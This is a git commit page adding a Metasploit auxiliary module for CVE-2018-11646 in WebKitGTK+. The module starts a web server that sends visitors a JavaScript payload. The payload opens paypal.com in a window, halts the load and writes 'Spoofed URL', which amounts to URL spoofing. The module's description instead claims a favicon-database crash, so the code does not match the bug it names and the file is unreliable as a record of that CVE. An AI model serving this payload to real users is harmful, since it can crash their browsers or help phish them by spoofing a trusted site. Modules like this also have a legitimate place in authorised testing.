CVE-2018-11646 - Webkit+
parent
8e45309fc6
commit
6e8412fa73
|
@ -0,0 +1,59 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => "WebKitGTK+ leading to an application crash [DoS]",
|
||||
'Description' => %q(
|
||||
This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset.
|
||||
If successful,it could leads to application crash, denial of service.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Dhiraj Mishra', # Original discovery, disclosure
|
||||
'Hardik Mehta', # Original discovery, disclosure
|
||||
'Zubin Devnani', # Original discovery, disclosure
|
||||
'Manuel Caballero' #JS Code
|
||||
],
|
||||
'References' => [
|
||||
['EXPLOIT-DB', '44842'],
|
||||
['CVE', '2018-11646'],
|
||||
['URL', 'https://bugs.webkit.org/show_bug.cgi?id=186164'],
|
||||
['URL', 'https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html']
|
||||
],
|
||||
'DisclosureDate' => 'June 03 2018',
|
||||
'Actions' => [[ 'WebServer' ]],
|
||||
'PassiveActions' => [ 'WebServer' ],
|
||||
'DefaultAction' => 'WebServer'
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
exploit # start http server
|
||||
end
|
||||
|
||||
def setup
|
||||
@html = <<-JS
|
||||
<script type="text/javascript">
|
||||
win = window.open("sleep_one_second.php", "WIN");
|
||||
window.open("https://www.paypal.com", "WIN");
|
||||
win.document.execCommand('Stop');
|
||||
win.document.write("Spoofed URL");
|
||||
win.document.close();
|
||||
</script>
|
||||
JS
|
||||
end
|
||||
|
||||
def on_request_uri(cli, _request)
|
||||
print_status('Sending response')
|
||||
send_response(cli, @html)
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue